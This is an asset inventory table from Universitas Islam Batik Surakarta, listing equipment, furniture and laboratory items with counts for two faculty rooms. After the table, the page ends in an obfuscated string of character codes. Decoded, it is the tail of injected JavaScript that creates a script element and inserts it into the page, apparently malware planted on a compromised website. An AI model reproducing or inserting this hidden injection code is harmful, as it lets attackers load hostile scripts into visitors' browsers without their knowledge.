Daftar Asset Universitas Islam Batik Surakarta
NO | NAMA ASSET | R. TU FE | R. DOSEN FE |
---|---|---|---|
A | HARDWARE | ||
1 | Kipas Angin | ||
2 | AC | 1 | 1 |
3 | Komputer | 8 | 1 |
4 | LCD | 2 | |
5 | Printer | 10 | 2 |
6 | Scanner | ||
7 | Jam | 1 | 1 |
8 | Telepon | 1 | |
9 | TV | 1 | |
10 | Dispenser | 1 | |
11 | Mesin Fotocopy | ||
12 | Speaker | 1 | |
13 | Kulkas | 1 | |
14 | Tape Recorder | ||
15 | Laptop | 2 | |
16 | Sound System | 3 | |
17 | OHP | ||
18 | Mic | 1 | |
19 | DVD Player | ||
20 | Tape | ||
21 | Server | ||
22 | Risograp | ||
23 | Headset | ||
24 | Speaker Language | ||
25 | Fax | ||
B | FURNITURE | ||
1 | Kursi | 18 | 21 |
2 | Meja | 13 | 15 |
3 | Meja Counter | 4 | 1 |
4 | Meja Panjang | ||
5 | Lemari Besi/Kayu | ||
6 | Lemari Counter | ||
7 | Lemari Tempel | ||
8 | Lemari Kabinet | ||
9 | Lemari Kaca | ||
10 | Sofa | ||
11 | Rak | ||
12 | White board | ||
13 | Penghapus White board | ||
14 | Black Board | ||
15 | Papan Tulis | ||
16 | Kotak | ||
17 | Sekat | 4 | |
C | LAIN-LAIN | ||
1 | Lampu Bonsen | ||
2 | Cawan Petri | ||
3 | Tabung Reaksi | ||
4 | Rak Tabung Reak | ||
5 | Gelas Ukur | ||
6 | Corong Gelas | ||
7 | Erlenmeyer | ||
8 | Labu Ukur | ||
9 | Pipet Buret | ||
10 | Gelas Takar | ||
11 | Mortar | ||
12 | Stemper | ||
13 | Timbangan Manu | ||
14 | Timbangan Anali | ||
15 | Pipet Buret | ||
16 | Lemari Asam | ||
17 | Oven | ||
18 | Steam | ||
19 | Termometer | ||
20 | Analitik Balance | ||
21 | Bandul Matematik | ||
22 | Stop Watch | ||
23 | Altimeter | ||
24 | Clinometer | ||
25 | Counter | ||
26 | Sunshine Recorder | ||
27 | Soil Moisture | ||
28 | Enviromenati Me | ||
29 | PH Meter Lpang | ||
30 | Multitester | ||
31 | Manometer | ||
32 | Moisture Meter | ||
33 | Mikroskop | ||
34 | Timbangan Anali | ||
35 | Cetok/ Garu kecil | ||
36 | Karpet | 1 | |
37 | Sajadah | 5 | |
38 | Tikar | ||
39 | Keset | ||
40 | Mimbar | ||
41 | Al Qur’ an | ||
42 | Mukena | 5 | |
43 | Gorden | 2 | |
44 | Bed | ||
45 | Timbangan Badan | ||
46 | Gitar | ||
47 | Drum | ||
48 | Keyboard | ||
D | TAMBAHAN | ||
1 | Rak Katalog | ||
2 | Rak Koran | ||
3 | Loker Tas | ||
4 | Vas Bunga | 5 | |
5 | Stop Kontak Portable | 1 | |
6 | Laci Besi Brother | 2 | 2 |
7 | Internet Hub | 2 | |
8 | Tong Sampah | 4 | |
9 | Voltage Regulator | 8 | 1 |
10 | Lukisan Batik | 3 | |
11 | Tempat Air Mineral | 1 | |
12 | Tempat Gelas | 2 | |
13 | Galon Air | 3 | |
14 | Ember | 1 | |
15 | Keranjang | 1 | |
16 | Control Master | ||
17 | Lukisan Wayang | ||
18 | Papan Struktur | ||
19 | Papan visi misi | ||
20 | Papan Slogan | ||
21 | Papan Sasaran Mutu | ||
22 | Taplak | ||
23 | CCTV | ||
24 | Pemadam Kebakaran | ||
25 | Tempat Sampah | ||
26 | CPU | ||
27 | Mouse | ||
28 | Stabilizer | ||
29 | Screen LCD | ||
30 | Acces Point | ||
31 | Stop Kontak | ||
32 | Speaker Salon | ||
33 | Gayung | ||
34 | Kaca Rias | ||
35 | Pigura UNIBA | ||
36 | Saklar | ||
37 | Pigura Foto | ||
38 | Pigura Aset | ||
39 | Garuda | ||
40 | Bendera Merah Putih | ||
41 | Bendera UNIBA | ||
42 | Tempat Bendera | ||
43 | Kursi Kayu | ||
44 | Lampu Emergency | ||
45 | Closet Jongkok | ||
46 | Closet Duduk | ||
47 | Bak Cor | ||
48 | Kran | ||
49 | Kursi Susun | ||
50 | Stop kontak Olor | ||
51 | Pot Bunga | ||
52 | Kursi Panjang kayu | ||
53 | Anjungan | ||
54 | Kursi Stainlist | ||
55 | Kran air sower | ||
56 | Camera | ||
57 | Papan Petunjuk | ||
58 | Loker Helm | ||
59 | Rantai Pembatas | ||
60 | Pompa Angin | ||
61 | Denah Kota Surakarta | ||
62 | Lampu Tongkat | ||
63 | Pentungan | ||
64 | Stetoskop | ||
65 | Tensi meter | ||
66 | Alat cek darah | ||
67 | Obat-obatan | ||
68 | Stato | ||
69 | Brangkas | ||
70 | Tempat Koran | ||
71 | Finger Print | ||
72 | Wifi | ||
73 | Tempat kertas | ||
74 | replika kapal | ||
75 | Organ YAMAHA | ||
76 | Pewangi | ||
77 | Kaligrafi | ||
78 | Mmeja Rak | ||
79 | Tempat Bolpoint | ||
80 | Tempat Tisu | ||
81 | Kursi plastik | ||
82 | Buret 50 ml | ||
83 | Statif Panjang | ||
84 | Statif Pendek | ||
85 | Klem | ||
86 | Petridish Besar | ||
87 | Petridish Kecil | ||
88 | Labu Takar 25 ml | ||
89 | Labu Takar 50 ml | ||
90 | Labu Takar 100 ml | ||
91 | Labu Takar 250 ml | ||
92 | Labu Takar 500 ml | ||
93 | Labu Takar 1000 ml | ||
94 | Gelas Ukur Panjang 10 ml | ||
95 | Gelas Ukur Panjang 25 ml | ||
96 | Gelas Ukur Panjang 50 ml | ||
97 | Gelas Ukur Panjang 100 ml | ||
98 | Gelas Ukur Panjang 250 ml | ||
99 | Gelas Ukur Panjang 500 ml | ||
100 | Gelas Ukur Panjang 1000 ml | ||
101 | Gelas Ukur 100 ml | ||
102 | Gelas Ukur 250 cc | ||
103 | Gelas Ukur 500 cc | ||
104 | Kaca Arloji besar | ||
105 | Kaca Arloji sedang | ||
106 | Kaca Arloji sedang agak kecil | ||
107 | Kaca Arloji kecil | ||
108 | Corong kecil | ||
109 | Corong 75 mm | ||
110 | Corong 90 mm | ||
111 | Corong 120 mm | ||
112 | Cawan penguap § 12500 | ||
113 | Cawan penguap § 7500 | ||
114 | Cawan penguap § 6000 | ||
115 | Cawan penguap § 3500 | ||
116 | Pipet Tetes | ||
117 | Pipet Volumetri 25 ml | ||
118 | Pipet Volumetri 10 ml | ||
119 | Pipet Volumetri 5 ml | ||
120 | Pipet Ukur 10 ml | ||
121 | Sudip Kaca | ||
122 | Sudip Logam | ||
123 | Tabung Bulat | ||
124 | Erlenmeyer 50 ml | ||
125 | Erlenmeyer 100 ml | ||
126 | Erlenmeyer 250 ml | ||
127 | Erlenmeyer 500 ml | ||
128 | Erlenmeyer 1000 ml | ||
129 | Botol Tabung | ||
130 | Tabung Sedimentasi + Tutup sedang | ||
131 | Tabung Sedimentasi + Tutup besar | ||
132 | Beaker Glass 100 ml | ||
133 | Beaker Glass 150 ml | ||
134 | Beaker Glass 250 ml | ||
135 | Beaker Glass 400 ml | ||
136 | Beaker Glass 500 ml | ||
137 | Beaker Glass 600 ml | ||
138 | Beaker Glass 1000 ml | ||
139 | Beaker Glass 2000 ml | ||
140 | Tabung Reaksi | ||
141 | Rak Tabung Reaksi (Kayu) | ||
142 | Rak Tabung Reaksi (Logam) | ||
143 | Scalpel | ||
144 | Plat Tetes | ||
145 | Plat Tetes (Plastik) | ||
146 | Tabung Analisa Tanah Panjang | ||
147 | Tabung Analisa Tanah | ||
148 | Kayu Persegi | ||
149 | Kayu Persegi Panjang | ||
150 | Penjepit Tabung Reaksi (Kayu) | ||
151 | Penjepit Tabung Reaksi (Besi Gunting) | ||
152 | Penjepit Tabung Reaksi (Besi) | ||
153 | Piring Kecil | ||
154 | Tempat Sampel Tanah | ||
155 | Jangka sorong | ||
156 | Mikrometer skrup | ||
157 | Digital pocket scale MN series | ||
158 | Salinity tester | ||
159 | pH meter (HANNA) | ||
160 | pH meter (Sunbury) | ||
161 | Alat ukur massa jenis | ||
162 | Hand microtome | ||
163 | Bejana berhubungan | ||
164 | Cross patern (retort clamp) | ||
165 | Magnet U | ||
166 | Magnet U kecil | ||
167 | Magnet batang panjang + lempeng logam | ||
168 | Magnet batang panjang | ||
169 | Magnet silinder | ||
170 | Magnet batang pendek | ||
171 | Alat daya sentripental | ||
172 | Kaca prisma besar | ||
173 | Kaca prisma kecil | ||
174 | Loop | ||
175 | Filter Polarisasi | ||
176 | Kaca concave | ||
177 | Kaca convex | ||
178 | Multitester fuse & diode protection (SUNWA 1/x – 360 TRN-L) | ||
179 | Spescific gravity for heavy liquids temp | ||
180 | Thermometer digital | ||
181 | |||
182 | Conducsi calor | ||
183 | Sensitive galvanometer | ||
184 | Kalorimeter | ||
185 | Kelway Soil Tester pH/ % | ||
186 | Soil Moisture Meter | ||
187 | Lempeng logam : 1. Timbal | ||
188 | 2. Aluminium | ||
189 | 3. Tembaga | ||
190 | Dawai sonometer | ||
191 | Karbon elektroda | ||
192 | Penakar curah hujan + gelas ukur | ||
193 | Kertas Pengukur Curah Hujan | ||
194 | Sunshine recorder | ||
195 | Alat pengukur kecepatan angin | ||
196 | Alat Ukur Kelembaban Udara | ||
197 | Light Meter LX-100 | ||
198 | Altimeter/Barometer | ||
199 | KIT IPA SMU Optika: | ||
200 | 1. Kumparan | ||
201 | 2. Magnet Batang Alnico | ||
202 | 3. Kawat Poistanita | ||
203 | 4. Model Kompas | ||
204 | 5. Inti Besi U | ||
205 | 6. Inti Besi I | ||
206 | 7. Jembatan penghubung | ||
207 | 8. Jepit Steker | ||
208 | 9. Bola Lampu | ||
209 | 10. Papan rangkaian | ||
210 | 11. Potensiometer 50kΩ | ||
211 | 12. Potensiometer 10 kΩ | ||
212 | 13. Hambatatan Tetap 47Ω 2W | ||
213 | 14. Hambatan tetap 100Ω 2W | ||
214 | 15.Hambatan tetap 10 kΩ 0,25W | ||
215 | 16. Hambatan tetap 470Ω 0,25W | ||
216 | 17. Dioda 1N4004 | ||
217 | 18. LDR | ||
218 | 19. Kapasitor 1000μF 16V | ||
219 | 20. Kapasitor 1μF 16V | ||
220 | 21. Kapasitor 470 μF 16V | ||
221 | 22. Lampu neon 60V | ||
222 | 23. Pemegang lampu | ||
223 | 24. Saklar 1 kutub | ||
224 | 25. Transistor 2SD 483 | ||
225 | KIT IPA SMA Listrik & Magnet | ||
226 | 1. Dasar statif | ||
227 | 2. Kaki Statif | ||
228 | 3. Balok Pendukung | ||
229 | 4. Batang Statif Pendek | ||
230 | 5. Batang Statif Panjang | ||
231 | 6. Jepitan Penahan | ||
232 | 7. Steker Perangkai | ||
233 | 8. Benang | ||
234 | 9. Perekam Waktu | ||
235 | 10. Beban | ||
236 | 11. Kereta Dinamika | ||
237 | 12. Balok Bertingkat | ||
238 | 13. Katrol Kecil | ||
239 | 14. Stopwatch | ||
240 | 15. Jangka sorong | ||
241 | 16. Pegas Spiral 0,1 N | ||
242 | 17. Pegas Spiral 0,25 N | ||
243 | 18. Balok Aluminium | ||
244 | 19. Neraca Pegas 1,5N | ||
245 | 20. Neraca Pegas 0,3N | ||
246 | 21. Bidang Miring | ||
247 | 22. Pengait Beban | ||
248 | KIT IPA SMA Mekanika : | ||
249 | 1. Meja Optik | ||
250 | 2. Rel Presisi | ||
251 | 3. Penyambung Rel | ||
252 | 4. Kaki Rel | ||
253 | 5. Tempat Lampu Bertangkai | ||
254 | 6. Pemegang Slide Diafragma | ||
255 | 7. Layar Tembus Cahaya | ||
256 | 8. Lensa F= 50mm Bertangkai | ||
257 | 9. Lensa F= 100mm Bertangkai | ||
258 | 10. Lensa F= 200mm Bertangkai | ||
259 | 11. Kisi Difraksi | ||
260 | 12. Bola Lampu 12V 18W | ||
261 | 13. Diafragma 5 Celah | ||
262 | 14. Diafragma 1 Celah | ||
263 | 15. Cermin Kombinasi | ||
264 | 16. Lensa Bikonkaf | ||
265 | 17. Lensa Bikonfex | ||
266 | 18. Lensa Prisma | ||
267 | 19. Lensa Balok | ||
268 | 20. Diafragma Anak Panah | ||
269 | 21. Diafragma Tanpa Celah | ||
270 | 22. Tumpakan Berpenjepit | ||
271 | Meteran | ||
272 | Timbangan Ohaus | ||
273 | Timbangan Analitik kecil (manual) | ||
274 | Besi A | ||
275 | 2 Logam Besi Bulat + Perangkat | ||
276 | Papan Praktikum Pesawat Sederhana | ||
277 | Gerobak Kecil + 4 Anak Timbangan 20 g (Pesawat Sederhana) | ||
278 | Balok Roda Berpegas (Pesawat Sederhana) | ||
279 | Balok Roda (Pesawat Sederhana) | ||
280 | Katrol Meja | ||
281 | Katrol Kecil | ||
282 | Katrol Ganda | ||
283 | Katrol Berpegangan | ||
284 | Microwave | ||
285 | Oven | ||
286 | Autoclave | ||
287 | Hot plate | ||
288 | Neraca Analitik Dua Lengan | ||
289 | Desikator | ||
290 | Alat Analisa Tanah |
16,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));